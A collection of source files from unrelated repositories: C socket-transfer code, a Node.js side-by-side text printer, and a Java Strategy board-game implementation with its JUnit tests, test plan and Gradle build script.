//int write_length = write(client, retransmit, retransmit_size);
//if (write_length != retransmit_size) {
// LOG(INFO, "Could not send retranstmit bits to client");
// // XXX Message could contain garbage
//}
//free(retransmit);
int tries = 1;
int index;
int got;
while (sum < parts) {
got = get_part(client, text, &index, part_size);
if (got > 0) {
//sum += got;
//ret_clear(retransmit, index);
++sum;
} else if (got == 0) {
LOG(DEBUG, "got 0 (try %i)", tries);
sleep(1);
if (tries++ == 5)
break;
} else {
errno = -got;
LOG(DEBUG, "got < 0 (%i)", errno);
errno = -got;
perror("didn't read");
}
}
return sum;
}
int get_part(int client, char *text, int *index, int part_size)
{
int data_size = sizeof(struct message) - 1 + part_size;
struct message *data = malloc(data_size);
unsigned int local_checksum;
ssize_t read_length = read(client, data, data_size);
if (read_length < 0)
read_length = -errno;
// XXX
LOG(DEBUG, "Read value: %i", read_length);
*index = data->index; // TODO Check if number from range
int size = data->size;
char *text_part = data->text;
convert(text_part); // Changes structure's field xP
LOG(DEBUG, "Got part (%3u): '%s' (%u) #%u", index+1, text_part, size, data->checksum);
// Make sure there is no garbage left
//if (size < part_size)
// text_part[size + 1] = 0;
local_checksum = compute_checksum(text_part);
if (data->checksum == local_checksum) {
// Message delivered correctly; clear retransmit bit
//retransmit[index >> 3] &= ~((index & 7) << 1);
//++sent;
strncpy(&text[*index * part_size], text_part, size);
} else {
LOG(ERROR, "Wrong part's checksum! Got %u, should be %u", data->checksum, local_checksum);
}
free(data);
return read_length;
}
<file_sep>/src/connection.c
#include <stdio.h>
#include <unistd.h>
//#include <sys/socket.h>
//#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
#include "connection.h"
#include "main.h"
extern int server;
extern char *destination;
int connection;
void create_connection()
{
connection = socket(AF_INET, SOCK_STREAM, 0);
if (connection < 0)
die("opening socket");
struct sockaddr_in server_addr;
// Is it nessesary?
memset(&server_addr, 0, sizeof(server_addr)); // Change it to not use string.h
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(M_PORT);
if (server) {
server_addr.sin_addr.s_addr = htonl(INADDR_ANY); // All interfaces
// Don't wait to reuse previous address?
int sockoptval = 1;
if (setsockopt(connection, SOL_SOCKET, SO_REUSEADDR, &sockoptval, sizeof(int)) < 0)
die("setting to reuse prevoius address");
// Set connection timeout
// Should it be for client as well?
struct timeval timeout ;
timeout.tv_sec = 5; // XXX
timeout.tv_usec = 0;
if (setsockopt(connection, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)) < 0)
die("setting receiving timeout");
if (setsockopt(connection, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout)) < 0)
die("setting sending timeout");
if (bind(connection, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0)
die("binding");
if (listen(connection, 1) < 0)
die("listening");
} else {
if (inet_pton(AF_INET, destination, &server_addr.sin_addr) <= 0)
die("converting ip");
if (connect(connection, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0)
die("connecting to the server (Is server running?)");
}
}
void close_connection()
{
close(connection);
}
|
343fd49bbda035ccf2a078bdedbcc48f6bf30e95
|
[
"Markdown",
"C",
"Makefile"
] | 13 |
C
|
hahiserw/mproto
|
86d738c7fb095c179dc8696ad33622bea8632ddb
|
79456297b7e408c25ed13783f1567bfbf9db6353
|
refs/heads/master
|
<file_sep>const { kMaxLength } = require('buffer');
const fs = require('fs');
const readline = require('readline');
(function main() {
const { s, c, filesPath } = getArgs(process.argv);
let filesObjects = [];
for (const idx in filesPath) {
const file = readFile(filesPath[idx], s);
const fixedFile = fixLinesWidth(file);
filesObjects[idx] = fixedFile;
}
let maxSize = 0;
for (const obj of filesObjects) {
maxSize = Math.max(maxSize, obj.size);
}
const fullLines = [];
for (let i = 0; i < maxSize; i++) {
fullLines.push(createLine(i, filesObjects, c));
};
const result = fullLines.join('\n')
console.log(fullLines);
//console.log('\n');
//console.log(result);
})();
function getArgs(args) {
let s = -1;
let c = 2;
let filesPath = [];
for (let i=2; i<args.length; i++) {
switch(args[i]){
case "-s": s = args[++i]; break;
case "-c": c = args[++i]; break;
default: filesPath.push(args[i]); break;
};
};
return { s, c, filesPath };
};
function readFile(url, s) {
let maxWidth = 0;
let array = fs.readFileSync(url).toString().split('\n');
for (const i of array) {
const l = i.length;
maxWidth = Math.max(maxWidth, l);
};
return { lines: array, maxWidth: s === -1 ? maxWidth : s };
};
function fixLinesWidth(file) {
const { lines, maxWidth } = file;
const result = [];
for (const line of lines) {
const lineLength = line.length;
if (lineLength <= maxWidth) {
result.push(line.padEnd(maxWidth, ' '));
continue;
}
const chunks = createChunks(line, Number.parseInt(maxWidth));
result.push(...chunks);
}
return { lines: result, maxWidth, size: result.length };
};
function createChunks(line, maxWidth) {
const array = [];
for (let i = 0; i<line.length; i+=maxWidth) {
const temp = line.slice(i, i + maxWidth).padEnd(maxWidth, ' ');
array.push(temp);
}
return array;
};
function createLine(index, arrays, c) {
const sep = ' '.repeat(c);
const array = [];
for (const l of arrays) {
const lines = l.lines;
const text = lines[index];
if (text === undefined) {
array.push(' '.padEnd(l.maxWidth));
continue;
}
array.push(text);
}
return array.join(sep);
}
|
31df45e6d9bd03297fc11d45da594c600cf26e6e
|
[
"JavaScript"
] | 1 |
JavaScript
|
haotenks/qualified-sidebyside
|
502bb14522552adfbc970f3ee64b044ab7d11459
|
e13ccc7b7ddfa2798aa25fd107e314aa2d17b44c
|
refs/heads/master
|
<file_sep>/*
* Copyright (c) 2019 <NAME>
*
* This file is part of cs4233-strategy.
*
* cs4233-strategy is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* cs4233-strategy is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with cs4233-strategy. If not, see <https://www.gnu.org/licenses/>.
* ======
*
* This file was developed as part of CS 4233: Object Oriented Analysis &
* Design, at Worcester Polytechnic Institute.
*/
package strategy.crmyers.beta;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import strategy.StrategyGame;
import strategy.crmyers.beta.pieces.*;
import strategy.required.StrategyGameFactory;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.equalTo;
import static strategy.Piece.PieceColor.BLUE;
import static strategy.Piece.PieceColor.RED;
import static strategy.StrategyGame.MoveResult.*;
/**
* For tests that do not involve any of the underlying implementation (i.e. external)
*/
class BetaTestExternal {
private static StrategyGame game;
/**
* Set up a new board and a new game for every test
*/
@BeforeEach
void setupLocal() {
/*
RG RP
BJ RL BF
BU RA
BM
RB BH
RF RB BO RH BY
*/
BetaBoard board = new BetaBoard();
board.put(new Flag(RED), 0, 0);
board.put(new Bomb(RED), 1, 0);
board.put(new Bomb(RED), 0, 1);
board.put(new Miner(BLUE), 2, 0);
board.put(new Scout(BLUE), 3, 0);
board.put(new Colonel(BLUE), 0, 2);
board.put(new Marshal(RED), 0, 3);
board.put(new Marshal(BLUE), 1, 3);
board.put(new Spy(BLUE), 0, 4);
board.put(new Captain(RED), 5, 5);
board.put(new Flag(BLUE), 4, 5);
board.put(new General(RED), 5, 4);
board.put(new Lieutenant(RED), 4, 4);
board.put(new Major(BLUE), 4, 3);
board.put(new Sergeant(RED), 3, 4);
System.out.println("Starting board state: ");
System.out.println(board.toString());
game = StrategyGameFactory.makeGame(StrategyGame.Version.BETA, board);
}
/**
* Test game 1 -- Red uses a marshal to take out a piece, Blue's miner takes out one of Red's defensive bombs,
* the red sergeant moves one, and blue finishes the game.
*/
@Test
void minerFlag() {
//
assertThat(game.move(0, 3, 0, 2), equalTo(STRIKE_RED));
assertThat(game.move(2, 0, 1, 0), equalTo(STRIKE_BLUE));
assertThat(game.move(4, 4, 4, 3), equalTo(STRIKE_BLUE));
assertThat(game.move(1, 0, 0, 0), equalTo(BLUE_WINS));
}
/**
* Test game 2 -- Red lieutenant tries to take out a blue major (fails), Blue tries (fails) to kill Red's marshall
* Red's sergeant tries (fails) to take out Blue's major, Blue's spy inches closer to Red's marshal, Red's general
* prepares for another strike, Blue's spy assassinates Red's marshal, Red goes for the kill and uses a captain to
* take blue's flag (which was there all along). Further moves result in game over.
*/
@Test
void secondTimeCharm() {
assertThat(game.move(4, 4, 4, 3), equalTo(STRIKE_BLUE));
assertThat(game.move(0, 2, 0, 3), equalTo(STRIKE_RED));
assertThat(game.move(3, 4, 4, 4), equalTo(STRIKE_BLUE));
assertThat(game.move(0, 4, 0, 3), equalTo(OK));
assertThat(game.move(5, 4, 4, 4), equalTo(OK));
assertThat(game.move(0, 3, 0, 2), equalTo(STRIKE_BLUE));
assertThat(game.move(5, 5, 4, 5), equalTo(RED_WINS));
assertThat(game.move(0, 3, 0, 4), equalTo(GAME_OVER));
}
/**
* Blue moves out of turn and loses the game
*/
@Test
void blueFUBAR() {
assertThat(game.move(3, 0, 3, 1), equalTo(RED_WINS));
assertThat(game.move(3, 0, 3, 1), equalTo(GAME_OVER));
}
/**
* Red tries to move a piece that doesn't exist, instantly causes Blue to win.
*/
@Test
void redFUBAR() {
assertThat(game.move(5, 0, 5, 4), equalTo(BLUE_WINS));
assertThat(game.move(5, 0, 5, 4), equalTo(GAME_OVER));
}
/**
* Red and Blue engage in mutual annihilation when Red's marshal unknowingly tries to take out Blue's marshal.
* Blue then fails to understand how movement works and tries to move diagonally, causing an instant Red win.
*
* (these test names are getting INTERESTING!)
*/
@Test
void redSNAFU() {
assertThat(game.move(0, 3, 1, 3), equalTo(OK));
assertThat(game.move(3, 0, 4, 1), equalTo(RED_WINS));
}
/**
* What happens when a Red general tries to take on a Red captain? Friendly fire and a win for Blue, that's what.
*/
@Test
void friendlyFire() {
assertThat(game.move(5,4,5,5), equalTo(BLUE_WINS));
assertThat(game.move(5,4,5,5), equalTo(GAME_OVER));
}
/**
* When a player runs out of moves to make, the other player should win immediately, even if they themselves have
* no available moves to make.
*
* This actually doesn't need any special handling in the code since any attempt by Blue to move will result in an
* exception, triggering a Red win
*/
@Test
void noMovesPossible() {
BetaBoard tBoard = new BetaBoard();
tBoard.put(new Bomb(BLUE), 0, 0);
tBoard.put(new Flag(BLUE), 0, 1);
tBoard.put(new Marshal(RED), 1, 0);
game = StrategyGameFactory.makeGame(StrategyGame.Version.BETA, tBoard);
assertThat(game.move(1, 0, 0, 0), equalTo(STRIKE_BLUE));
assertThat(game.move(0, 1, 0, 0), equalTo(RED_WINS));
}
}
<file_sep>/*
* Copyright (c) 2019 <NAME>
*
* This file is part of cs4233-strategy.
*
* cs4233-strategy is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* cs4233-strategy is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with cs4233-strategy. If not, see <https://www.gnu.org/licenses/>.
* ======
*
* This file was developed as part of CS 4233: Object Oriented Analysis &
* Design, at Worcester Polytechnic Institute.
*/
package strategy.crmyers.beta;
import strategy.Board;
import strategy.Piece;
import strategy.StrategyException;
import strategy.StrategyGame;
import static strategy.Piece.PieceColor.BLUE;
import static strategy.Piece.PieceColor.RED;
import static strategy.StrategyGame.MoveResult.*;
public class BetaGame implements StrategyGame {
private final BetaBoard board;
private Piece.PieceColor colorTurn;
private int turns;
public BetaGame(Board board) {
this.board = new BetaBoard(board);
colorTurn = RED;
turns = 0;
}
/**
* Make a move!
*
* @param fr from row..
* @param fc from column...
* @param tr ...to row
* @param tc ...to column
* @return Result of move
*/
@Override
public MoveResult move(int fr, int fc, int tr, int tc) {
// Sanity check for game over
if (turns >= 8)
return MoveResult.GAME_OVER;
// Sanity checks to make sure that the player is grabbing a piece and it's the right color.
final PieceDefined fPiece = board.getPieceAt(fr, fc);
if (fPiece == null) {
turns = 8;
return colorTurn == RED ? BLUE_WINS : RED_WINS;
}
if (fPiece.getPieceColor() != colorTurn) {
turns = 8;
return fPiece.getPieceColor() == RED ? BLUE_WINS : RED_WINS;
}
PieceDefined.MoveResult result;
try {
result = fPiece.move(board, fr, fc, tr, tc);
// === Move result processing ===
if (result == PieceDefined.MoveResult.OK ||
(result == PieceDefined.MoveResult.STRIKE_BLUE && colorTurn == BLUE) ||
(result == PieceDefined.MoveResult.STRIKE_RED && colorTurn == RED)) {
// Either the move was fine or there was a strike victory -- either way, the piece moves.
board.put(fPiece, tr, tc);
board.put(null, fr, fc);
} else if ((result == PieceDefined.MoveResult.STRIKE_BLUE && colorTurn == RED) ||
(result == PieceDefined.MoveResult.STRIKE_RED && colorTurn == BLUE)) {
// Strike defeat, attacked piece moves into original spot
board.put(board.getPieceAt(tr, tc), fr, fc);
board.put(null, tr, tc);
} else if (result == PieceDefined.MoveResult.STRIKE_DRAW) {
// Draw, both pieces eliminated
board.put(null, tr, tc);
board.put(null, fr, fc);
} else {
// Some kind of victory condition
turns = 8;
return convertMoveResult(result);
}
} catch (StrategyException ex) {
// Moving player screwed up; opponent wins.
System.err.println(ex.getMessage());
turns = 8; // End the game
result = colorTurn == RED ? PieceDefined.MoveResult.BLUE_WINS : PieceDefined.MoveResult.RED_WINS;
}
// Logic for incrementing turns and determining who goes next
if (colorTurn == RED)
colorTurn = BLUE;
else {
colorTurn = RED;
turns++;
// Unique case for beta strategy -- if 8 turns elapse, red wins
if (turns >= 8)
return RED_WINS;
}
System.out.println("Turn " + turns + ", color: " + colorTurn.name());
System.out.println(board.toString());
return convertMoveResult(result);
}
/**
* This BetaStrategy implementation uses an extended MoveResult enum to make move handling
* a little easier; this function serves as a bridge between the two.
*
* @param result Move result in PieceDefined format
* @return Move result in Strategy format
*/
private MoveResult convertMoveResult(PieceDefined.MoveResult result) {
if (result == PieceDefined.MoveResult.STRIKE_DRAW)
return OK;
else
return MoveResult.values()[result.ordinal()];
}
}
<file_sep># Board
* Board is sane
* Checks bounds correctly
* Stores pieces correctly
* Board comparisons work
* Board initializes correctly (all empty, all non-choke)
* Board can copy construct from input boards
# Pieces
* Pieces can't move diagonally
* Pieces can't perform move repetition (implemented but not used)
* Pieces return correct piece type
* Pieces draw when striking against themselves
* Individual pieces:
* [one task for normal piece without special movement rules]: Defeated by higher, defeats lower, draws against self
* Miners can defeat bombs
* Scouts can move multiple squares at a time
* Scouts can't jump over other pieces
* Spies can defeat marshals
* Bombs can't move
* Anything but a miner vs. a bomb loses
* Flags can't move
* Anything that can move can defeat a flag
# Full game
* Back-and-forth play
* *Added by BetaStrategyMasterTests* Games can't last more than 8 turns
* Games return GAME_OVER after a victory of any kind
* Players lose if they move out of turn
* Players lose if they try to move a piece that does not exist
* Draws result in both pieces getting annihilated
* Moving diagonally results in a victory for the other player
* Friendly fire results in a victory for the other player
* Opponent wins if you can't make a move
<file_sep>/*
* Copyright (c) 2019 <NAME>
*
* This file is part of cs4233-strategy.
*
* cs4233-strategy is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* cs4233-strategy is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with cs4233-strategy. If not, see <https://www.gnu.org/licenses/>.
* ======
*
* This file was developed as part of CS 4233: Object Oriented Analysis &
* Design, at Worcester Polytechnic Institute.
*/
package strategy.crmyers.beta;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import strategy.Board;
import strategy.Piece;
import strategy.StrategyException;
import strategy.crmyers.beta.pieces.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.*;
import static org.junit.jupiter.api.Assertions.*;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.when;
import static strategy.Piece.PieceColor.BLUE;
import static strategy.Piece.PieceColor.RED;
import static strategy.Piece.PieceType.*;
/**
* For implementation-specific tests of internal components
*/
class BetaTest {
private static BetaBoard board;
private static PieceDefined m1, m2, m3;
private static PieceDefined bomb;
private static PieceDefined captain;
private static PieceDefined colonel;
private static PieceDefined flag;
private static PieceDefined general;
private static PieceDefined lieutenant;
private static PieceDefined major;
private static PieceDefined marshal;
private static PieceDefined miner;
private static PieceDefined scout;
private static PieceDefined sergeant;
private static PieceDefined spy;
/**
* Setup for tests -- global to all
*/
@BeforeAll
static void setup_global() {
// Make some dummy pieces we can use that will respond based on their type without us actually caring about the
// underlying implementation.
m1 = mock(PieceDefined.class);
when(m1.getPieceColor()).thenReturn(Piece.PieceColor.BLUE);
when(m1.getPieceType()).thenReturn(BOMB);
m2 = mock(PieceDefined.class);
when(m2.getPieceColor()).thenReturn(Piece.PieceColor.RED);
when(m2.getPieceType()).thenReturn(Piece.PieceType.CAPTAIN);
m3 = mock(PieceDefined.class);
when(m3.getPieceColor()).thenReturn(Piece.PieceColor.BLUE);
when(m3.getPieceType()).thenReturn(Piece.PieceType.SPY);
}
/**
* Setup for tests -- run once before each test
*/
@BeforeEach
void setup_local() {
board = new BetaBoard();
// These pieces are stateful, so we have to recreate them each time
marshal = new Marshal(RED);
general = new General(BLUE);
colonel = new Colonel(RED);
major = new Major(BLUE);
captain = new Captain(RED);
lieutenant = new Lieutenant(BLUE);
sergeant = new Sergeant(RED);
miner = new Miner(BLUE);
scout = new Scout(RED);
spy = new Spy(BLUE);
bomb = new Bomb(RED);
flag = new Flag(BLUE);
}
/**
* Basic board sanity checking
*/
@Test
void boardSanity () {
// Grouped into assertAll's because if you fail one bounds check test... you don't really have bounds checking
assertAll("BetaBoard pieces sanity",
() -> assertThrows(StrategyException.class, () -> board.getPieceAt(-1, -1)),
() -> assertThrows(StrategyException.class, () -> board.getPieceAt(7, 7)),
() -> assertThrows(StrategyException.class, () -> board.getPieceAt(-1, 0)),
() -> assertThrows(StrategyException.class, () -> board.getPieceAt(0, -1))
);
assertAll("BetaBoard squares sanity",
() -> assertThrows(StrategyException.class, () -> board.getSquareTypeAt(-1, -1)),
() -> assertThrows(StrategyException.class, () -> board.getSquareTypeAt(7, 7)),
() -> assertThrows(StrategyException.class, () -> board.getSquareTypeAt(-1, 0)),
() -> assertThrows(StrategyException.class, () -> board.getSquareTypeAt(0, -1))
);
assertAll("BetaBoard put sanity",
() -> assertThrows(StrategyException.class, () -> board.put(m1, -1, -1)),
() -> assertThrows(StrategyException.class, () -> board.put(m1, 7, 7)),
() -> assertThrows(StrategyException.class, () -> board.put(m1, -1, 0)),
() -> assertThrows(StrategyException.class, () -> board.put(m1, 0, -1))
);
board.put(m1, 0, 0);
assertThat(board.getPieceAt(0, 0), is(equalTo(m1)));
}
/**
* Can we compare boards?
*/
@Test
void boardEquals() {
board.put(m1, 0, 0);
board.put(m2, 1, 0);
board.put(m3, 2, 0);
BetaBoard board2 = new BetaBoard();
board2.put(m1, 0, 0);
board2.put(m2, 1, 0);
board2.put(m3, 2, 0);
// Boards constructed identically, they should be identical.
assertThat(board, is(equalTo(board2)));
// Modify board 2 to make it have one more piece; boards no longer equal.
board2.put(m3, 0, 1);
assertThat(board, not(equalTo(board2)));
// Ensure that if we put the wrong piece on the the right slot, it still won't be right
board.put(m2, 0, 1);
assertThat(board, not(equalTo(board2)));
// Idiot checks to catch other branches in "equals" code
assertThat(board, equalTo(board));
assertThat(board, not(equalTo(null)));
assertThat(board, not(equalTo("Why would you do this")));
}
/**
* Test board initial state
*/
@Test
void boardInit() {
// BetaBoard should start with no choke points and should be completely empty.
for (int i = 0; i < BetaBoard.ROWS; i++) {
for (int j = 0; j < BetaBoard.COLS; j++) {
assertThat(board.getPieceAt(i, j), is(nullValue()));
assertThat(board.getSquareTypeAt(i, j), is(equalTo(strategy.Board.SquareType.NORMAL)));
}
}
}
/**
* BetaBoard copy constructor test
*/
@Test
void boardCopyConstructor() {
// Create a mock board that doesn't rely on the BetaBoard implementation.
Board mockBoard = mock(strategy.Board.class);
when(mockBoard.getPieceAt(0, 0)).thenReturn(m1);
when(mockBoard.getPieceAt(5, 5)).thenReturn(m2);
when(mockBoard.getPieceAt(3, 3)).thenReturn(m3);
for (int i = 0; i < BetaBoard.ROWS; i++) {
for (int j = 0; j < BetaBoard.COLS; j++) {
when(mockBoard.getSquareTypeAt(i, j)).thenReturn(Board.SquareType.CHOKE);
}
}
when(mockBoard.getSquareTypeAt(0, 0)).thenReturn(Board.SquareType.NORMAL);
when(mockBoard.getSquareTypeAt(5, 5)).thenReturn(Board.SquareType.NORMAL);
when(mockBoard.getSquareTypeAt(3, 3)).thenReturn(Board.SquareType.NORMAL);
BetaBoard realBoard = new BetaBoard(mockBoard);
assertThat(realBoard.getPieceAt(0, 0).getClass(), is(equalTo(Bomb.class)));
assertThat(realBoard.getPieceAt(5, 5).getClass(), is(equalTo(Captain.class)));
assertThat(realBoard.getPieceAt(3, 3).getClass(), is(equalTo(Spy.class)));
assertThat(realBoard.getSquareTypeAt(0, 0), equalTo(Board.SquareType.NORMAL));
assertThat(realBoard.getSquareTypeAt(5, 5), equalTo(Board.SquareType.NORMAL));
assertThat(realBoard.getSquareTypeAt(3, 3), equalTo(Board.SquareType.NORMAL));
assertThat(realBoard.getSquareTypeAt(1, 1), equalTo(Board.SquareType.CHOKE));
}
/**
* Make sure piece direction checking works
*/
@Test
void pieceCheckDirection() {
assertFalse(PieceDefined.isDiagonal(0, 0, 1, 0));
assertFalse(PieceDefined.isDiagonal(0, 0, 0, 1));
assertFalse(PieceDefined.isDiagonal(5, 5, 4, 5));
assertFalse(PieceDefined.isDiagonal(5, 5, 5, 4));
assertTrue(PieceDefined.isDiagonal(0, 0, 1, 1));
assertTrue(PieceDefined.isDiagonal(5, 5, 4, 4));
assertTrue(PieceDefined.isDiagonal(5, 0, 4, 1));
assertTrue(PieceDefined.isDiagonal(0, 5, 1, 4));
assertThrows(StrategyException.class, () -> marshal.move(board, 0, 0, 1, 1));
}
/**
* Make sure that piece repetition checking works. Totally not needed for this assignment, but it's simple to
* implement, so why not?
*/
@Test
void pieceCheckRepetition() {
// Use an anonymous class to define this piece since we really only care about moveRepetition()
PieceDefined mobilePiece = new PieceDefined(Piece.PieceColor.BLUE) {
@Override
public MoveResult move(BetaBoard board, int fr, int fc, int tr, int tc) throws StrategyException {
return null;
}
@Override
public MoveResult strike(Piece target) {
return null;
}
/**
* @return Symbol that represents this piece
*/
@Override
public String toString() {
return "--";
}
};
// Make two moves to start the repetition, both are valid
assertFalse(mobilePiece.moveRepetition(0, 0, 1, 0));
assertFalse(mobilePiece.moveRepetition(0, 1, 0, 0));
//Completing the repetition fails...
assertTrue(mobilePiece.moveRepetition(0, 0, 1, 0));
//...but moving to a different square succeeds
assertFalse(mobilePiece.moveRepetition(0, 0, 0, 1));
}
/**
* Do pieces declare they're the right type?
* (why is this even a test?)
*/
@Test
void pieceTypes() {
assertThat(bomb.getPieceType(), is(equalTo(BOMB)));
assertThat(captain.getPieceType(), is(equalTo(CAPTAIN)));
assertThat(colonel.getPieceType(), is(equalTo(COLONEL)));
assertThat(flag.getPieceType(), is(equalTo(FLAG)));
assertThat(general.getPieceType(), is(equalTo(GENERAL)));
assertThat(lieutenant.getPieceType(), is(equalTo(LIEUTENANT)));
assertThat(major.getPieceType(), is(equalTo(MAJOR)));
assertThat(marshal.getPieceType(), is(equalTo(MARSHAL)));
assertThat(miner.getPieceType(), is(equalTo(MINER)));
assertThat(scout.getPieceType(), is(equalTo(SCOUT)));
assertThat(sergeant.getPieceType(), is(equalTo(SERGEANT)));
assertThat(spy.getPieceType(), is(equalTo(SPY)));
}
/**
* Test marshal actions
*/
@Test
void marshalAction() {
//marshals can defeat 3-11
assertThat(marshal.strike(general), is(equalTo(marshal.pieceVictory())));
assertThat(marshal.strike(marshal), is(equalTo(PieceDefined.MoveResult.STRIKE_DRAW)));
}
/**
* Test general actions
*/
@Test
void generalAction() {
//generals can defeat 3-10
assertThat(general.strike(colonel), is(equalTo(general.pieceVictory())));
assertThat(general.strike(marshal), is(equalTo(general.pieceLoss())));
assertThat(general.strike(general), is(equalTo(PieceDefined.MoveResult.STRIKE_DRAW)));
}
/**
* Test colonel actions
*/
@Test
void colonelAction() {
assertThat(colonel.strike(major), is(equalTo(colonel.pieceVictory())));
assertThat(colonel.strike(general), is(equalTo(colonel.pieceLoss())));
assertThat(colonel.strike(colonel), is(equalTo(PieceDefined.MoveResult.STRIKE_DRAW)));
}
/**
* Test major actions
*/
@Test
void majorAction() {
assertThat(major.strike(captain), is(equalTo(major.pieceVictory())));
assertThat(major.strike(colonel), is(equalTo(major.pieceLoss())));
assertThat(major.strike(major), is(equalTo(PieceDefined.MoveResult.STRIKE_DRAW)));
}
/**
* Test captain actions
*/
@Test
void captainAction() {
// captains can defeat 3-7
assertThat(captain.strike(lieutenant), is(equalTo(captain.pieceVictory())));
assertThat(captain.strike(major), is(equalTo(captain.pieceLoss())));
assertThat(captain.strike(captain), is(equalTo(PieceDefined.MoveResult.STRIKE_DRAW)));
}
/**
* Test lieutenant actions
*/
@Test
void lieutenantAction() {
assertThat(lieutenant.strike(sergeant), is(equalTo(lieutenant.pieceVictory())));
assertThat(lieutenant.strike(captain), is(equalTo(lieutenant.pieceLoss())));
assertThat(lieutenant.strike(lieutenant), is(equalTo(PieceDefined.MoveResult.STRIKE_DRAW)));
}
/**
* Test sergeant actions
*/
@Test
void sergeantAction() {
assertThat(sergeant.strike(miner), is(equalTo(sergeant.pieceVictory())));
assertThat(sergeant.strike(lieutenant), is(equalTo(sergeant.pieceLoss())));
assertThat(sergeant.strike(sergeant), is(equalTo(PieceDefined.MoveResult.STRIKE_DRAW)));
}
/**
* Test miner actions
*/
@Test
void minerAction() {
assertThat(miner.strike(scout), is(equalTo(miner.pieceVictory())));
assertThat(miner.strike(sergeant), is(equalTo(miner.pieceLoss())));
assertThat(miner.strike(miner), is(equalTo(PieceDefined.MoveResult.STRIKE_DRAW)));
// Miners have the unique ability to take out bombs
assertThat(miner.strike(bomb), is(equalTo(miner.pieceVictory())));
}
/**
* Test scout actions
*/
@Test
void scoutAction() {
assertThat(scout.strike(spy), is(equalTo(scout.pieceVictory())));
assertThat(scout.strike(miner), is(equalTo(scout.pieceLoss())));
assertThat(scout.strike(scout), is(equalTo(PieceDefined.MoveResult.STRIKE_DRAW)));
// Scouts have the added bonus of being able to move any amount in any vertical/horizontal direction
assertThat(scout.move(board, 0, 0, 0, 5), is(equalTo(PieceDefined.MoveResult.OK)));
assertThat(scout.move(board, 0, 0, 5, 0), is(equalTo(PieceDefined.MoveResult.OK)));
// ...but not if there's a piece in the way
board.put(marshal, 0, 3);
assertThrows(StrategyException.class, () -> scout.move(board, 0, 0, 0, 5));
}
/**
* Test spy actions
*/
@Test
void spy() {
// Spies can't succeed at striking anything other than marshals
assertThat(spy.strike(marshal), is(equalTo(spy.pieceVictory())));
}
/**
* Test bomb movement (or lack thereof)
*/
@Test
void bombAction() {
assertThrows(StrategyException.class, () -> bomb.move(board, 0, 0, 1, 1));
assertThrows(StrategyException.class, () -> bomb.strike(flag));
// Anything against a bomb fails (except miners, but that's tested elsewhere)
assertThat(marshal.strike(bomb), is(equalTo(marshal.pieceLoss())));
}
/**
* Test flag movement (or lack thereof)
*/
@Test
void flagAction() {
assertThrows(StrategyException.class, () -> flag.move(board, 0, 0, 1, 1));
assertThrows(StrategyException.class, () -> flag.strike(flag));
// Anything can take a flag
assertThat(spy.strike(flag), is(equalTo(PieceDefined.MoveResult.BLUE_WINS)));
}
}
<file_sep>/*
* Copyright (c) 2019 <NAME>
*
* This file is part of cs4233-strategy.
*
* cs4233-strategy is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* cs4233-strategy is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with cs4233-strategy. If not, see <https://www.gnu.org/licenses/>.
* ======
*
* This file was developed as part of CS 4233: Object Oriented Analysis &
* Design, at Worcester Polytechnic Institute.
*/
apply plugin: 'java'
apply plugin: 'idea'
apply plugin: 'application'
sourceCompatibility = 1.8
targetCompatibility = 1.8
version = '0.1.0'
wrapper {
gradleVersion = '5.2.1'
}
repositories {
mavenCentral()
// For libstrategy -- I hosted the jar file on my own [semi-]private Maven repository to make the build process a
// little easier. Technically anyone can download it, BUT this server isn't publicly listed anywhere.
maven {
url 'https://ravana.dyn.wpi.edu/maven/'
}
}
dependencies {
compile(
[group: 'edu.wpi.cs4233', name: 'libstrategy', version: '1.1.0']
)
testCompile(
[group: 'org.junit.jupiter', name: 'junit-jupiter-api', version: '5.4.1'],
[group: 'org.junit.jupiter', name: 'junit-jupiter-engine', version: '5.4.1'],
[group: 'org.junit.jupiter', name: 'junit-jupiter-params', version: '5.4.1'],
[group: 'org.mockito', name: 'mockito-core', version: '2.+'],
[group: 'org.hamcrest', name: 'hamcrest-all', version: '1.3'],
[group: 'edu.wpi.cs4233', name: 'libstrategy', version: '1.1.0']
)
}
mainClassName = 'edu.wpi.dyn.ravana.strategy.Main'
test {
useJUnitPlatform()
dependsOn 'cleanTest'
}
jar {
manifest{
attributes 'Main-Class': mainClassName
}
from configurations.runtime.collect { zipTree(it) }
}
<file_sep>/*
* Copyright (c) 2019 <NAME>
*
